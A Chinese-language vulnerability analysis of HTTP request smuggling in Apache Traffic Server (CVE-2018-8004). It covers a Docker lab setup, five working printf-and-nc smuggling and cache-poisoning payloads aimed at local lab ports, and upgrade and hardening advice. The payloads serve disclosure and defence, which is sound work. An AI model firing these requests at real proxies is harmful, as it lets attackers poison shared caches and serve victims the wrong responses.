Apache Traffic服务器HTTP Smuggling攻击深度分析
概述
本文详细分析Apache Traffic Server(ATS)中存在的HTTP Smuggling漏洞(CVE-2018-8004),提供实验环境搭建方法和多种攻击技术演示。
漏洞背景
Apache Traffic Server简介
Apache Traffic Server(ATS)是一个开源HTTP负载均衡器和反向代理缓存,基于商业产品捐赠给Apache基金会。与Apache httpd不同,ATS是完全独立的项目。
受影响版本
- 6.0.0至6.2.2
- 7.0.0至7.1.3
修复版本:
- 7.1.4 (2018-08-02发布)
- 6.2.3 (2018-08-04发布)
漏洞类型
CVE-2018-8004包含多个HTTP smuggling和缓存中毒问题:
- 字段名称后冒号前有空格时返回400
- 返回400错误响应时关闭连接
- 验证传入请求的Content-Length头
- 有缓存命中时清空请求正文
实验环境搭建
使用Docker搭建测试集群:
version: '3'
services:
haproxy:
image: haproxy:1.6
ports: ["8001:80"]
links:
- ats7:linkedats7.net
- ats6:linkedats6.net
ats7:
image: centos:7
ports: ["8007:8080"]
links:
- nginx:linkednginx.net
ats6:
image: centos:7
ports: ["8006:8080"]
links:
- nginx:linkednginx.net
nginx:
image: nginx:latest
ports: ["8002:80"]
架构说明:
- HaProxy: 前端负载均衡器(8001)
- ATS7: 中间代理(8007)
- ATS6: 中间代理(8006)
- Nginx: 后端服务器(8002)
攻击技术详解
1. 双Content-Length头拆分
原理:发送包含两个不同Content-Length头的请求,利用不同服务器对RFC 7230 3.3.3实现差异。
攻击示例:
printf 'GET /index.html?toto=1 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Content-Length: 0\r\n'\
'Content-Length: 66\r\n'\
'\r\n'\
'GET /index.html?toto=2 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007
效果:ATS会生成两个响应(一个400和一个200)
2. NULL字符注入请求
原理:在头中使用NULL字节触发查询提前结束,后续内容被解释为新请求。
攻击示例:
printf 'GET /something.html?zorg=1 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'X-Something: "\0something"\r\n'\
'GET http://dummy-host7.example.com/index.html?replacing=1&zorg=2 HTTP/1.1\r\n'\
'\r\n'\
'GET /targeted.html?replaced=maybe&zorg=3 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8007
效果:ATS会处理为3个查询,第二个查询的响应会替换常规第二个查询的响应
3. 超大标头请求拆分
原理:使用约65536字符的标头触发查询提前结束。
攻击示例:
printf 'GET_/something.html?zorg2=5_HTTP/1.1\r\n'\
'Host:_dummy-host7.example.com\r\n'\
'X:_"%65534s"\r\n'\
'GET_http://dummy-host7.example.com/index.html?replaced=0&cache=8_HTTP/1.1\r\n'\
'\r\n'\
|tr " " "1"|tr "_" " "|nc -q 1 127.0.0.1 8007
4. 标头分隔符前空格缓存投毒
原理:ATS允许标头名称和冒号之间有空格,而其他代理会忽略此类标头。
攻击示例:
for i in {1..9} ;do
printf 'GET /does-not-exists.html?cache='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-Control: max-age=200\r\n'\
'X-info: evil 1.5 query, bad CL header\r\n'\
'Content-Length :117\r\n'\
'\r\n'\
'GET /index.html?INJECTED='$i' HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'X-info: evil poisoning query\r\n'\
'Dummy-unterminated:'\
|nc -q 1 127.0.0.1 8007
done
效果:可以毒化缓存,使后续请求获得错误的响应
5. 缓存命中时忽略Content-Length
原理:在缓存命中时,ATS会忽略GET请求的Content-Length头,导致后续内容被解释为新请求。
攻击步骤:
- 初始化缓存:
printf 'GET /index.html?cache=cogip2000 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-control: max-age=300\r\n'\
'Content-Length: 0\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8001
- 执行攻击:
printf 'GET /index.html?cache=cogip2000 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'Cache-control: max-age=300\r\n'\
'Content-Length: 74\r\n'\
'\r\n'\
'GET /index.html?evil=cogip2000 HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
'GET /victim.html?cache=zorglub HTTP/1.1\r\n'\
'Host: dummy-host7.example.com\r\n'\
'\r\n'\
|nc -q 1 127.0.0.1 8001
效果:受害者请求/victim.html会获得/index.html的响应
防御建议
- 升级到修复版本(ATS 7.1.4+或6.2.3+)
- 在前端代理实施严格的HTTP协议验证
- 禁用不必要的HTTP特性(如流水线)
- 错误响应后关闭连接
- 对所有标头进行规范化处理
总结
本文详细分析了ATS中多种HTTP Smuggling技术,包括双Content-Length、NULL字符注入、超大标头、标头分隔符前空格以及缓存命中时的Content-Length忽略问题。这些技术可以组合使用,实现请求/响应拆分、缓存投毒等攻击。防御的关键在于严格遵循HTTP协议规范并及时更新软件版本。